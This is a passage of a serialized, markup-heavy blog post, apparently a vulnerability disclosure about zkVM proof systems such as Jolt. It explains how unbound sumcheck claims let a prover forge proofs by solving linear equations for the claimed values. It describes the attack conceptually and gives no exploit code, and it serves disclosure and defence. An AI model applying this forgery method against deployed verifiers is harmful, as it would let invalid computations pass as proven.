70],{"type":29,"value":578},{"type":23,"tag":504,"props":115972,"children":115974},{"className":115973},[712],[115975],{"type":29,"value":715},{"type":23,"tag":504,"props":115977,"children":115979},{"className":115978},[677],[115980],{"type":23,"tag":504,"props":115981,"children":115983},{"className":115982,"style":723},[682],[115984],{"type":23,"tag":504,"props":115985,"children":115986},{},[],{"type":23,"tag":504,"props":115988,"children":115990},{"className":115989,"style":538},[537],[],{"type":23,"tag":504,"props":115992,"children":115994},{"className":115993},[543],[115995],{"type":29,"value":546},{"type":23,"tag":504,"props":115997,"children":115999},{"className":115998,"style":538},[537],[],{"type":23,"tag":504,"props":116001,"children":116003},{"className":116002},[518],[116004,116009,116069,116073,116238,116242,116247],{"type":23,"tag":504,"props":116005,"children":116008},{"className":116006,"style":116007},[523],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":504,"props":116010,"children":116012},{"className":116011},[23673],[116013,116018],{"type":23,"tag":504,"props":116014,"children":116016},{"className":116015,"style":23680},[23673,23678,23679],[116017],{"type":29,"value":110621},{"type":23,"tag":504,"props":116019,"children":116021},{"className":116020},[666],[116022],{"type":23,"tag":504,"props":116023,"children":116025},{"className":116024},[671,672],[116026,116057],{"type":23,"tag":504,"props":116027,"children":116029},{"className":116028},[677],[116030,116052],{"type":23,"tag":504,"props":116031,"children":116034},{"className":116032,"style":116033},[682],"height:0.162em;",[116035],{"type":23,"tag":504,"props":116036,"children":116037},{"style":23703},[116038,116042],{"type":23,"tag":504,"props":116039,"children":116041},{"className":116040,"style":693},[692],[],{"type":23,"tag":504,"props":116043,"children":116045},{"className":116044},[698,699,700,701],[116046],{"type":23,"tag":504,"props":116047,"children":116050},{"className":116048,"style":116049},[529,530,701],"margin-right:0.05724em;",[116051],{"type":29,"value":10701},{"type":23,"tag":504,"props":116053,"children":116055},{"className":116054},[712],[116056],{"type":29,"value":715},{"type":23,"tag":504,"props":116058,"children":116060},{"className":116059},[677],[116061],{"type":23,"tag":504,"props":116062,"children":116065},{"className":116063,"style":116064},[682],"height:0.4358em;",[116066],{"type":23,"tag":504,"props":116067,"children":116068},{},[],{"type":23,"tag":504,"props":116070,"children":116072},{"className":116071,"style":2274},[537],[],{"type":23,"tag":504,"props":116074,"children":116076},{"className":116075},[529],[116077,116081,116234],{"type":23,"tag":504,"props":116078,"children":116080},{"className":116079},[600,115344],[],{"type":23,"tag":504,"props":116082,"children":116084},{"className":116083},[115349],[116085],{"type":23,"tag":504,"props":116086,"children":116088},{"className":116087},[671,672],[116089,116222],{"type":23,"tag":504,"props":116090,"children":116092},{"className":116091},[677],[116093,116217],{"type":23,"tag":504,"props":116094,"children":116096},{"className":116095,"style":115362},[682],[116097,116186,116197],{"type":23,"tag":504,"props":116098,"children":116099},{"style":115366},[116100,116104],{"type":23,"tag":504,"props":116101,"children":116103},{"className":116102,"style":113997},[692],[],{"type":23,"tag":504,"props":116105,"children":116107},{"className":116106},[698,699,700,701],[116108],{"type":23,"tag":504,"props":116109,"children":116111},{"className":116110},[529,701],[116112,116117,116122],{"type":23,"tag":504,"props":116113,"children":116115},{"className":116114,"style":115383},[529,530,701],[116116],{"type":29,"value":115386},{"type":23,"tag":504,"props":116118,"children":116120},{"className":116119},[1431,701],[116121],{"type":29,"value":6118},{"type":23,"tag":504,"props":116123,"children":116125},{"className":116124},[529,701],[116126,116135],{"type":23,"tag":504,"props":116127,"children":116129},{"className":116128},[529,29,701],[116130],{"type":23,"tag":504,"props":116131,"children":116133},{"className":116132},[529,701],[116134],{"type":29,"value":64070},{"type":23,"tag":504,"props":116136,"children":116138},{"className":116137},[666],[116139],{"type":23,"tag":504,"props":116140,"children":116142},{"className":116141},[671,672],[116143,116174],{"type":23,"tag":504,"props":116144,"children":116146},{"className":116145},[677],[116147,116169],{"type":23,"tag":504,"props":116148,"children":116151},{"className":116149,"style":116150},[682],"height:0.3281em;",[116152],{"type":23,"tag":504,"props":116153,"children":116155},{"style":116154},"top:-2.357em;margin-right:0.0714em;",[116156,116160],{"type":23,"tag":504,"props":116157,"children":116159},{"className":116158,"style":110686},[692],[],{"type":23,"tag":504,"props":116161,"children":116163},{"className":116162},[698,110691,110692,701],[116164],{"type":23,"tag":504,"props":116165,"children":116167},{"className":116166,"style":116049},[529,530,701],[116168],{"type":29,"value":10701},{"type":23,"tag":504,"props":116170,"children":116172},{"className":116171},[712],[116173],{"type":29,"value":715},{"type":23,"tag":504,"props":116175,"children":116177},{"className":116176},[677],[116178],{"type":23,"tag":504,"props":116179,"children":116182},{"className":116180,"style":116181},[682],"height:0.2819em;",[116183],{"type":23,"tag":504,"props":116184,"children":116185},{},[],{"type":23,"tag":504,"props":116187,"children":116188},{"style":115399},[116189,116193],{"type":23,"tag":504,"props":116190,"children":116192},{"className":116191,"style":113997},[692],[],{"type":23,"tag":504,"props":116194,"children":116196},{"className":116195,"style":115409},[115408],[],{"type":23,"tag":504,"props":116198,"children":116199},{"style":115413},[116200,116204],{"type":23,"tag":504,"props":116201,"children":116203},{"className":116202,"style":113997},[692],[],{"type":23,"tag":504,"props":116205,"children":116207},{"className":116206},[698,699,700,701],[116208],{"type":23,"tag":504,"props":116209,"children":116211},{"className":116210},[529,701],[116212],{"type":23,"tag":504,"props":116213,"children":116215},{"className":116214},[529,701],[116216],{"type":29,"value":826},{"type":23,"tag":504,"props":116218,"children":116220},{"className":116219},[712],[116221],{"type":29,"value":715},{"type":23,"tag":504,"props":116223,"children":116225},{"className":116224},[677],[116226],{"type":23,"tag":504,"props":116227,"children":116230},{"className":116228,"style":116229},[682],"height:0.5423em;",[116231],{"type":23,"tag":504,"props":116232,"children":116233},{},[],{"type":23,"tag":504,"props":116235,"children":116237},{"className":116236},[930,115344],[],{"type":23,"tag":504,"props":116239,"children":116241},{"className":116240,"style":1426},[537],[],{"type":23,"tag":504,"props":116243,"children":116245},{"className":116244},[1431],[116246],{"type":29,"value":6118},{"type":23,"tag":504,"props":116248,"children":116250},{"className":116249,"style":1426},[537],[],{"type":23,"tag":504,"props":116252,"children":116254},{"className":116253},[518],[116255,116260,116318,116322],{"type":23,"tag":504,"props":116256,"children":116259},{"className":116257,"style":116258},[523],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":504,"props":116261,"children":116263},{"className":116262},[23673],[116264,116269],{"type":23,"tag":504,"props":116265,"children":116267},{"className":116266,"style":23680},[23673,23678,23679],[116268],{"type":29,"value":110621},{"type":23,"tag":504,"props":116270,"children":116272},{"className":116271},[666],[116273],{"type":23,"tag":504,"props":116274,"children":116276},{"className":116275},[671,672],[116277,116306],{"type":23,"tag":504,"props":116278,"children":116280},{"className":116279},[677],[116281,116301],{"type":23,"tag":504,"props":116282,"children":116284},{"className":116283,"style":115498},[682],[116285],{"type":23,"tag":504,"props":116286,"children":116287},{"style":23703},[116288,116292],{"type":23,"tag":504,"props":116289,"children":116291},{"className":116290,"style":693},[692],[],{"type":23,"tag":504,"props":116293,"children":116295},{"className":116294},[698,699,700,701],[116296],{"type":23,"tag":504,"props":116297,"children":116299},{"className":116298,"style":2089},[529,530,701],[116300],{"type":29,"value":2092},{"type":23,"tag":504,"props":116302,"children":116304},{"className":116303},[712],[116305],{"type":29,"value":715},{"type":23,"tag":504,"props":116307,"children":116309},{"className":116308},[677],[116310],{"type":23,"tag":504,"props":116311,"children":116314},{"className":116312,"style":116313},[682],"height:0.2997em;",[116315],{"type":23,"tag":504,"props":116316,"children":116317},{},[],{"type":23,"tag":504,"props":116319,"children":116321},{"className":116320,"style":2274},[537],[],{"type":23,"tag":504,"props":116323,"children":116325},{"className":116324},[529],[116326,116330,116483],{"type":23,"tag":504,"props":116327,"children":116329},{"className":116328},[600,115344],[],{"type":23,"tag":504,"props":116331,"children":116333},{"className":116332},[115349],[116334],{"type":23,"tag":504,"props":116335,"children":116337},{"className":116336},[671,672],[116338,116471],{"type":23,"tag":504,"props":116339,"children":116341},{"className":116340},[677],[116342,116466],{"type":23,"tag":504,"props":116343,"children":116345},{"className":116344,"style":115362},[682],[116346,116435,116446],{"type":23,"tag":504,"props":116347,"children":116348},{"style":115366},[116349,116353],{"type":23,"tag":504,"props":116350,"children":116352},{"className":116351,"style":113997},[692],[],{"type":23,"tag":504,"props":116354,"children":116356},{"className":116355},[698,699,700,701],[116357],{"type":23,"tag":504,"props":116358,"children":116360},{"className":116359},[529,701],[116361,116366,116371],{"type":23,"tag":504,"props":116362,"children":116364},{"className":116363,"style":115383},[529,530,701],[116365],{"type":29,"value":115386},{"type":23,"tag":504,"props":116367,"children":116369},{"className":116368},[1431,701],[116370],{"type":29,"value":6118},{"type":23,"tag":504,"props":116372,"children":116374},{"className":116373},[529,701],[116375,116385],{"type":23,"tag":504,"props":116376,"children":116378},{"className":116377},[529,29,701],[116379],{"type":23,"tag":504,"props":116380,"children":116382},{"className":116381},[529,701],[116383],{"type":29,"value":116384},"consume",{"type":23,"tag":504,"props":116386,"children":116388},{"className":116387},[666],[116389],{"type":23,"tag":504,"props":116390,"children":116392},{"className":116391},[671,672],[116393,116423],{"type":23,"tag":504,"props":116394,"children":116396},{"className":116395},[677],[116397,116418],{"type":23,"tag":504,"props":116398,"children":116400},{"className":116399,"style":114158},[682],[116401],{"type":23,"tag":504,"props":116402,"children":116404},{"style":116403},"top:-2.3488em;margin-right:0.0714em;",[116405,116409],{"type":23,"tag":504,"props":116406,"children":116408},{"className":116407,"style":110686},[692],[],{"type":23,"tag":504,"props":116410,"children":116412},{"className":116411},[698,110691,110692,701],[116413],{"type":23,"tag":504,"props":116414,"children":116416},{"className":116415,"style":2089},[529,530,701],[116417],{"type":29,"value":2092},{"type":23,"tag":504,"props":116419,"children":116421},{"className":116420},[712],[116422],{"type":29,"value":715},{"type":23,"tag":504,"props":116424,"children":116426},{"className":116425},[677],[116427],{"type":23,"tag":504,"props":116428,"children":116431},{"className":116429,"style":116430},[682],"height:0.1512em;",[116432],{"type":23,"tag":504,"props":116433,"children":116434},{},[],{"type":23,"tag":504,"props":116436,"children":116437},{"style":115399},[116438,116442],{"type":23,"tag":504,"props":116439,"children":116441},{"className":116440,"style":113997},[692],[],{"type":23,"tag":504,"props":116443,"children":116445},{"className":116444,"style":115409},[115408],[],{"type":23,"tag":504,"props":116447,"children":116448},{"style":115413},[116449,116453],{"type":23,"tag":504,"props":116450,"children":116452},{"className":116451,"style":113997},[692],[],{"type":23,"tag":504,"props":116454,"children":116456},{"className":116455},[698,699,700,701],[116457],{"type":23,"tag":504,"props":116458,"children":116460},{"className":116459},[529,701],[116461],{"type":23,"tag":504,"props":116462,"children":116464},{"className":116463},[529,701],[116465],{"type":29,"value":826},{"type":23,"tag":504,"props":116467,"children":116469},{"className":116468},[712],[116470],{"type":29,"value":715},{"type":23,"tag":504,"props":116472,"children":116474},{"className":116473},[677],[116475],{"type":23,"tag":504,"props":116476,"children":116479},{"className":116477,"style":116478},[682],"height:0.4509em;",[116480],{"type":23,"tag":504,"props":116481,"children":116482},{},[],{"type":23,"tag":504,"props":116484,"children":116486},{"className":116485},[930,115344],[],{"type":23,"tag":32,"props":116488,"children":116489},{},[116490,116492,116674],{"type":29,"value":116491},"The global check: ",{"type":23,"tag":154,"props":116493,"children":116495},{"className":116494},[500,501],[116496],{"type":23,"tag":504,"props":116497,"children":116499},{"className":116498},[507],[116500],{"type":23,"tag":504,"props":116501,"children":116503},{"className":116502,"ariaHidden":513},[512],[116504,116661],{"type":23,"tag":504,"props":116505,"children":116507},{"className":116506},[518],[116508,116512,116569,116573,116582,116587,116648,116652,116657],{"type":23,"tag":504,"props":116509,"children":116511},{"className":116510,"style":558},[523],[],{"type":23,"tag":504,"props":116513,"children":116515},{"className":116514},[23673],[116516,116521],{"type":23,"tag":504,"props":116517,"children":116519},{"className":116518,"style":23680},[23673,23678,23679],[116520],{"type":29,"value":110621},{"type":23,"tag":504,"props":116522,"children":116524},{"className":116523},[666],[116525],{"type":23,"tag":504,"props":116526,"children":116528},{"className":116527},[671,672],[116529,116558],{"type":23,"tag":504,"props":116530,"children":116532},{"className":116531},[677],[116533,116553],{"type":23,"tag":504,"props":116534,"children":116536},{"className":116535,"style":116033},[682],[116537],{"type":23,"tag":504,"props":116538,"children":116539},{"style":23703},[116540,116544],{"type":23,"tag":504,"props":116541,"children":116543},{"className":116542,"style":693},[692],[],{"type":23,"tag":504,"props":116545,"children":116547},{"className":116546},[698,699,700,701],[116548],{"type":23,"tag":504,"props":116549,"children":116551},{"className":116550},[529,530,701],[116552],{"type":29,"value":578},{"type":23,"tag":504,"props":116554,"children":116556},{"className":116555},[712],[116557],{"type":29,"value":715},{"type":23,"tag":504,"props":116559,"children":116561},{"className":116560},[677],[116562],{"type":23,"tag":504,"props":116563,"children":116565},{"className":116564,"style":116313},[682],[116566],{"type":23,"tag":504,"props":116567,"children":116568},{},[],{"type":23,"tag":504,"props":116570,"children":116572},{"className":116571,"style":2274},[537],[],{"type":23,"tag":504,"props":116574,"children":116576},{"className":116575},[529,29],[116577],{"type":23,"tag":504,"props":116578,"children":116580},{"className":116579},[529],[116581],{"type":29,"value":115919},{"type":23,"tag":504,"props":116583,"children":116585},{"className":116584,"style":624},[529],[116586],{"type":29,"value":627},{"type":23,"tag":504,"props":116588,"children":116590},{"className":116589},[529],[116591,116600],{"type":23,"tag":504,"props":116592,"children":116594},{"className":116593},[529,29],[116595],{"type":23,"tag":504,"props":116596,"children":116598},{"className":116597},[529],[116599],{"type":29,"value":78697},{"type":23,"tag":504,"props":116601,"children":116603},{"className":116602},[666],[116604],{"type":23,"tag":504,"props":116605,"children":116607},{"className":116606},[671,672],[116608,116637],{"type":23,"tag":504,"props":116609,"children":116611},{"className":116610},[677],[116612,116632],{"type":23,"tag":504,"props":116613,"children":116615},{"className":116614,"style":1180},[682],[116616],{"type":23,"tag":504,"props":116617,"children":116618},{"style":115956},[116619,116623],{"type":23,"tag":504,"props":116620,"children":116622},{"className":116621,"style":693},[692],[],{"type":23,"tag":504,"props":116624,"children":116626},{"className":116625},[698,699,700,701],[116627],{"type":23,"tag":504,"props":116628,"children":116630},{"className":116629},[529,530,701],[116631],{"type":29,"value":578},{"type":23,"tag":504,"props":116633,"children":116635},{"className":116634},[712],[116636],{"type":29,"value":715},{"type":23,"tag":504,"props":116638,"children":116640},{"className":116639},[677],[116641],{"type":23,"tag":504,"props":116642,"children":116644},{"className":116643,"style":723},[682],[116645],{"type":23,"tag":504,"props":116646,"children":116647},{},[],{"type":23,"tag":504,"props":116649,"children":116651},{"className":116650,"style":538},[537],[],{"type":23,"tag":504,"props":116653,"children":116655},{"className":116654},[543],[116656],{"type":29,"value":546},{"type":23,"tag":504,"props":116658,"children":116660},{"className":116659,"style":538},[537],[],{"type":23,"tag":504,"props":116662,"children":116664},{"className":116663},[518],[116665,116669],{"type":23,"tag":504,"props":116666,"children":116668},{"className":116667,"style":1690},[523],[],{"type":23,"tag":504,"props":116670,"children":116672},{"className":116671},[529],[116673],{"type":29,"value":708},{"type":29,"value":357},{"type":23,"tag":32,"props":116676,"children":116677},{},[116678,116683,116685,116691],{"type":23,"tag":38,"props":116679,"children":116680},{},[116681],{"type":29,"value":116682},"Why this is vulnerable:",{"type":29,"value":116684}," The ",{"type":23,"tag":154,"props":116686,"children":116688},{"className":116687},[],[116689],{"type":29,"value":116690},"claimed_sum",{"type":29,"value":116692}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":20844,"props":116694,"children":116695},{},[],{"type":23,"tag":24,"props":116697,"children":116699},{"id":116698},"the-universal-attack-pattern",[116700],{"type":29,"value":116701},"The Universal Attack Pattern",{"type":23,"tag":32,"props":116703,"children":116704},{},[116705],{"type":29,"value":116706},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":32,"props":116708,"children":116709},{},[116710],{"type":23,"tag":199,"props":116711,"children":116714},{"alt":116712,"src":116713},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":32,"props":116716,"children":116717},{},[116718,116720,116745],{"type":29,"value":116719},"When a value ",{"type":23,"tag":154,"props":116721,"children":116723},{"className":116722},[500,501],[116724],{"type":23,"tag":504,"props":116725,"children":116727},{"className":116726},[507],[116728],{"type":23,"tag":504,"props":116729,"children":116731},{"className":116730,"ariaHidden":513},[512],[116732],{"type":23,"tag":504,"props":116733,"children":116735},{"className":116734},[518],[116736,116740],{"type":23,"tag":504,"props":116737,"children":116739},{"className":116738,"style":23635},[523],[],{"type":23,"tag":504,"props":116741,"children":116743},{"className":116742,"style":110024},[529,530],[116744],{"type":29,"value":110348},{"type":29,"value":116746}," isn't transcript-bound:",{"type":23,"tag":139,"props":116748,"children":116749},{},[116750,116781,116858,117003],{"type":23,"tag":143,"props":116751,"children":116752},{},[116753,116755,116780],{"type":29,"value":116754},"Challenges are fixed (independent of ",{"type":23,"tag":154,"props":116756,"children":116758},{"className":116757},[500,501],[116759],{"type":23,"tag":504,"props":116760,"children":116762},{"className":116761},[507],[116763],{"type":23,"tag":504,"props":116764,"children":116766},{"className":116765,"ariaHidden":513},[512],[116767],{"type":23,"tag":504,"props":116768,"children":116770},{"className":116769},[518],[116771,116775],{"type":23,"tag":504,"props":116772,"children":116774},{"className":116773,"style":23635},[523],[],{"type":23,"tag":504,"props":116776,"children":116778},{"className":116777,"style":110024},[529,530],[116779],{"type":29,"value":110348},{"type":29,"value":933},{"type":23,"tag":143,"props":116782,"children":116783},{},[116784,116786],{"type":29,"value":116785},"The verification equation has form: ",{"type":23,"tag":154,"props":116787,"children":116789},{"className":116788},[500,501],[116790],{"type":23,"tag":504,"props":116791,"children":116793},{"className":116792},[507],[116794],{"type":23,"tag":504,"props":116795,"children":116797},{"className":116796,"ariaHidden":513},[512],[116798,116839],{"type":23,"tag":504,"props":116799,"children":116801},{"className":116800},[518],[116802,116806,116811,116816,116821,116826,116830,116835],{"type":23,"tag":504,"props":116803,"children":116805},{"className":116804,"style":2160},[523],[],{"type":23,"tag":504,"props":116807,"children":116809},{"className":116808,"style":3022},[529,530],[116810],{"type":29,"value":3025},{"type":23,"tag":504,"props":116812,"children":116814},{"className":116813},[600],[116815],{"type":29,"value":603},{"type":23,"tag":504,"props":116817,"children":116819},{"className":116818,"style":110024},[529,530],[116820],{"type":29,"value":110348},{"type":23,"tag":504,"props":116822,"children":116824},{"className":116823},[930],[116825],{"type":29,"value":933},{"type":23,"tag":504,"props":116827,"children":116829},{"className":116828,"style":538},[537],[],{"type":23,"tag":504,"props":116831,"children":116833},{"className":116832},[543],[116834],{"type":29,"value":546},{"type":23,"tag":504,"props":116836,"children":116838},{"className":116837,"style":538},[537],[],{"type":23,"tag":504,"props":116840,"children":116842},{"className":116841},[518],[116843,116848],{"type":23,"tag":504,"props":116844,"children":116847},{"className":116845,"style":116846},[523],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":116849,"children":116851},{"className":116850},[529,29],[116852],{"type":23,"tag":504,"props":116853,"children":116855},{"className":116854},[529],[116856],{"type":29,"value":116857},"target",{"type":23,"tag":143,"props":116859,"children":116860},{},[116861,116862,116888,116890],{"type":29,"value":9524},{"type":23,"tag":154,"props":116863,"children":116865},{"className":116864},[500,501],[116866],{"type":23,"tag":504,"props":116867,"children":116869},{"className":116868},[507],[116870],{"type":23,"tag":504,"props":116871,"children":116873},{"className":116872,"ariaHidden":513},[512],[116874],{"type":23,"tag":504,"props":116875,"children":116877},{"className":116876},[518],[116878,116883],{"type":23,"tag":504,"props":116879,"children":116882},{"className":116880,"style":116881},[523],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":504,"props":116884,"children":116886},{"className":116885,"style":3022},[529,530],[116887],{"type":29,"value":3025},{"type":29,"value":116889}," is linear: ",{"type":23,"tag":154,"props":116891,"children":116893},{"className":116892},[500,501],[116894],{"type":23,"tag":504,"props":116895,"children":116897},{"className":116896},[507],[116898],{"type":23,"tag":504,"props":116899,"children":116901},{"className":116900,"ariaHidden":513},[512],[116902,116931,116958,116986],{"type":23,"tag":504,"props":116903,"children":116905},{"className":116904},[518],[116906,116911,116918,116922,116927],{"type":23,"tag":504,"props":116907,"children":116910},{"className":116908,"style":116909},[523],"height:0.4445em;",[],{"type":23,"tag":504,"props":116912,"children":116915},{"className":116913,"style":116914},[529,530],"margin-right:0.0037em;",[116916],{"type":29,"value":116917},"α",{"type":23,"tag":504,"props":116919,"children":116921},{"className":116920,"style":1426},[537],[],{"type":23,"tag":504,"props":116923,"children":116925},{"className":116924},[1431],[116926],{"type":29,"value":113088},{"type":23,"tag":504,"props":116928,"children":116930},{"className":116929,"style":1426},[537],[],{"type":23,"tag":504,"props":116932,"children":116934},{"className":116933},[518],[116935,116940,116945,116949,116954],{"type":23,"tag":504,"props":116936,"children":116939},{"className":116937,"style":116938},[523],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":116941,"children":116943},{"className":116942,"style":110024},[529,530],[116944],{"type":29,"value":110348},{"type":23,"tag":504,"props":116946,"children":116948},{"className":116947,"style":1426},[537],[],{"type":23,"tag":504,"props":116950,"children":116952},{"className":116951},[1431],[116953],{"type":29,"value":6422},{"type":23,"tag":504,"props":116955,"children":116957},{"className":116956,"style":1426},[537],[],{"type":23,"tag":504,"props":116959,"children":116961},{"className":116960},[518],[116962,116966,116973,116977,116982],{"type":23,"tag":504,"props":116963,"children":116965},{"className":116964,"style":116881},[523],[],{"type":23,"tag":504,"props":116967,"children":116970},{"className":116968,"style":116969},[529,530],"margin-right:0.05278em;",[116971],{"type":29,"value":116972},"β",{"type":23,"tag":504,"props":116974,"children":116976},{"className":116975,"style":538},[537],[],{"type":23,"tag":504,"props":116978,"children":116980},{"className":116979},[543],[116981],{"type":29,"value":546},{"type":23,"tag":504,"props":116983,"children":116985},{"className":116984,"style":538},[537],[],{"type":23,"tag":504,"props":116987,"children":116989},{"className":116988},[518],[116990,116994],{"type":23,"tag":504,"props":116991,"children":116993},{"className":116992,"style":116846},[523],[],{"type":23,"tag":504,"props":116995,"children":116997},{"className":116996},[529,29],[116998],{"type":23,"tag":504,"props":116999,"children":117001},{"className":117000},[529],[117002],{"type":29,"value":116857},{"type":23,"tag":143,"props":117004,"children":117005},{},[117006,117008],{"type":29,"value":117007},"Solve: ",{"type":23,"tag":154,"props":117009,"children":117011},{"className":117010},[500,501],[117012],{"type":23,"tag":504,"props":117013,"children":117015},{"className":117014},[507],[117016],{"type":23,"tag":504,"props":117017,"children":117019},{"className":117018,"ariaHidden":513},[512],[117020,117046,117081],{"type":23,"tag":504,"props":117021,"children":117023},{"className":117022},[518],[117024,117028,117033,117037,117042],{"type":23,"tag":504,"props":117025,"children":117027},{"className":117026,"style":23635},[523],[],{"type":23,"tag":504,"props":117029,"children":117031},{"className":117030,"style":110024},[529,530],[117032],{"type":29,"value":110348},{"type":23,"tag":504,"props":117034,"children":117036},{"className":117035,"style":538},[537],[],{"type":23,"tag":504,"props":117038,"children":117040},{"className":117039},[543],[117041],{"type":29,"value":546},{"type":23,"tag":504,"props":117043,"children":117045},{"className":117044,"style":538},[537],[],{"type":23,"tag":504,"props":117047,"children":117049},{"className":117048},[518],[117050,117054,117059,117068,117072,117077],{"type":23,"tag":504,"props":117051,"children":117053},{"className":117052,"style":2160},[523],[],{"type":23,"tag":504,"props":117055,"children":117057},{"className":117056},[600],[117058],{"type":29,"value":603},{"type":23,"tag":504,"props":117060,"children":117062},{"className":117061},[529,29],[117063],{"type":23,"tag":504,"props":117064,"children":117066},{"className":117065},[529],[117067],{"type":29,"value":116857},{"type":23,"tag":504,"props":117069,"children":117071},{"className":117070,"style":1426},[537],[],{"type":23,"tag":504,"props":117073,"children":117075},{"className":117074},[1431],[117076],{"type":29,"value":6118},{"type":23,"tag":504,"props":117078,"children":117080},{"className":117079,"style":1426},[537],[],{"type":23,"tag":504,"props":117082,"children":117084},{"className":117083},[518],[117085,117089,117094,117099,117104],{"type":23,"tag":504,"props":117086,"children":117088},{"className":117087,"style":2160},[523],[],{"type":23,"tag":504,"props":117090,"children":117092},{"className":117091,"style":116969},[529,530],[117093],{"type":29,"value":116972},{"type":23,"tag":504,"props":117095,"children":117097},{"className":117096},[930],[117098],{"type":29,"value":933},{"type":23,"tag":504,"props":117100,"children":117102},{"className":117101},[529],[117103],{"type":29,"value":6623},{"type":23,"tag":504,"props":117105,"children":117107},{"className":117106,"style":116914},[529,530],[117108],{"type":29,"value":116917},{"type":23,"tag":32,"props":117110,"children":117111},{},[117112],{"type":29,"value":117113},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":32,"props":117115,"children":117116},{},[117117,117119,117197],{"type":29,"value":117118},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":154,"props":117120,"children":117122},{"className":117121},[500,501],[117123],{"type":23,"tag":504,"props":117124,"children":117126},{"className":117125},[507],[117127],{"type":23,"tag":504,"props":117128,"children":117130},{"className":117129,"ariaHidden":513},[512],[117131],{"type":23,"tag":504,"props":117132,"children":117134},{"className":117133},[518],[117135,117140,117146,117151,117192],{"type":23,"tag":504,"props":117136,"children":117139},{"className":117137,"style":117138},[523],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":504,"props":117141,"children":117143},{"className":117142,"style":624},[529,530],[117144],{"type":29,"value":117145},"O",{"type":23,"tag":504,"props":117147,"children":117149},{"className":117148},[600],[117150],{"type":29,"value":603},{"type":23,"tag":504,"props":117152,"children":117154},{"className":117153},[529],[117155,117160],{"type":23,"tag":504,"props":117156,"children":117158},{"className":117157},[529,530],[117159],{"type":29,"value":596},{"type":23,"tag":504,"props":117161,"children":117163},{"className":117162},[666],[117164],{"type":23,"tag":504,"props":117165,"children":117167},{"className":117166},[671],[117168],{"type":23,"tag":504,"props":117169,"children":117171},{"className":117170},[677],[117172],{"type":23,"tag":504,"props":117173,"children":117175},{"className":117174,"style":6065},[682],[117176],{"type":23,"tag":504,"props":117177,"children":117178},{"style":6099},[117179,117183],{"type":23,"tag":504,"props":117180,"children":117182},{"className":117181,"style":693},[692],[],{"type":23,"tag":504,"props":117184,"children":117186},{"className":117185},[698,699,700,701],[117187],{"type":23,"tag":504,"props":117188,"children":117190},{"className":117189},[529,701],[117191],{"type":29,"value":19344},{"type":23,"tag":504,"props":117193,"children":117195},{"className":117194},[930],[117196],{"type":29,"value":933},{"type":29,"value":117198}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":20844,"props":117200,"children":117201},{},[],{"type":23,"tag":24,"props":117203,"children":117205},{"id":117204},"the-six-broken-systems",[117206],{"type":29,"value":117207},"The Six Broken Systems",{"type":23,"tag":32,"props":117209,"children":117210},{},[117211],{"type":23,"tag":199,"props":117212,"children":117215},{"alt":117213,"src":117214},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":32,"props":117217,"children":117218},{},[117219],{"type":29,"value":117220},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":20844,"props":117222,"children":117223},{},[],{"type":23,"tag":320,"props":117225,"children":117227},{"id":117226},"jolt-a16z",[117228],{"type":29,"value":117229},"Jolt (a16z)",{"type":23,"tag":32,"props":117231,"children":117232},{},[117233],{"type":29,"value":117234},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":32,"props":117236,"children":117237},{},[117238],{"type":23,"tag":38,"props":117239,"children":117240},{},[117241],{"type":29,"value":117242},"The proof structure:",{"type":23,"tag":4743,"props":117244,"children":117246},{"code":117245},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[117247],{"type":23,"tag":154,"props":117248,"children":117249},{"__ignoreMap":7},[117250],{"type":29,"value":117245},{"type":23,"tag":32,"props":117252,"children":117253},{},[117254],{"type":23,"tag":38,"props":117255,"children":117256},{},[117257],{"type":29,"value":117258},"The verification flow:",{"type":23,"tag":32,"props":117260,"children":117261},{},[117262],{"type":23,"tag":199,"props":117263,"children":117266},{"alt":117264,"src":117265},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":32,"props":117268,"children":117269},{},[117270,117275,117277,117283,117285,117291,117293,117298],{"type":23,"tag":38,"props":117271,"children":117272},{},[117273],{"type":29,"value":117274},"The bug:",{"type":29,"value":117276}," Each sumcheck instance provides an ",{"type":23,"tag":154,"props":117278,"children":117280},{"className":117279},[],[117281],{"type":29,"value":117282},"input_claim",{"type":29,"value":117284},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":154,"props":117286,"children":117288},{"className":117287},[],[117289],{"type":29,"value":117290},"opening_claims",{"type":29,"value":117292}," in the proof, but they were ",{"type":23,"tag":38,"props":117294,"children":117295},{},[117296],{"type":29,"value":117297},"never absorbed into the transcript",{"type":29,"value":117299}," before the batching coefficients were derived.",{"type":23,"tag":32,"props":117301,"children":117302},{},[117303],{"type":23,"tag":199,"props":117304,"children":117307},{"alt":117305,"src":117306},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":32,"props":117309,"children":117310},{},[117311],{"type":23,"tag":38,"props":117312,"children":117313},{},[117314],{"type":29,"value":117315},"How sumcheck uses 